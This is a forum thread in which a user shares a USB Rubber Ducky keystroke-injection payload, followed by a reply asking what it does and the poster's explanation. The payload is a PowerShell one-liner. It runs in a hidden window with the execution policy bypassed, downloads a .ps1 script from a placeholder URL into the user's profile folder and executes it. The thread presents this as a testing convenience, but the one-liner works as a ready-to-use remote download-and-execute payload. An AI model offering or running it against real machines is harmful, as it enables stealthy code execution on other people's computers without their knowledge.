Jump to content

[PAYLOAD] Download and Execute script one liner


Recommended Posts

Hey guys,

I just got my rubber ducky and got tired of having to open up my Rubber Duck and transferring the SD card around to test scripts. So I made a little one liner to download and run a .ps1 script. 

It creates a temp folder in the user's directory and downloads the script to the newly created folder through Invoke-WebRequest. Because some websites will consider Net.Webclient to be a bot and will refuse the request. And then it will simply execute the downloaded script.

REM Downoad and execute script
DELAY 1000
STRING powershell -NoP -NonI -W h -Exec Bypass md "$env:userprofile\temp"; iwr "<YOUR URL>/1.ps1"  -outfile "$env:userprofile\temp\1.ps1"; cd $env:userprofile\temp; sleep 5; & .\1.ps1

Edit: I've shaved off some characters off of the parameters. 'Cause shortest scripts are bestest scripts!

Link to comment
Share on other sites

  • 2 weeks later...

What exactly does this do? 
I also get extremely tired of opening it up and putting the MicroSD card in my Bash Bunny Mark II to change inject.bin and duckycode.txt files. 
I have written and rewritten so many and have so many stored on a Google Drive link for everyone and myself, but it does get annoying AF. 
Any hardware workaround to this? 
I know the button you hold down on the ducky before you insert it, but that was to flash the TwinDuck firmware on once. Does that put it in Mass Storage Mode too? 
Either way, I hope this script sets it in Mass Storage Mode. Otherwise, I would love to know how to easily swap out the MicroSD for scripts. 
I will try this out when I have some time. Thanks. 

Link to comment
Share on other sites

This script simply downloads an external script (let's say you have one on your google drive or your website) and downloads through Invoke-WebRequest and executes the downloaded script. Which means you can adjust and upload the script again if it doesn't work properly.

For this ducky script I named the script "1.ps1". So as long as you name the new/adjusted script "1.ps1" it will download and run that one.

Link to comment
Share on other sites


This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...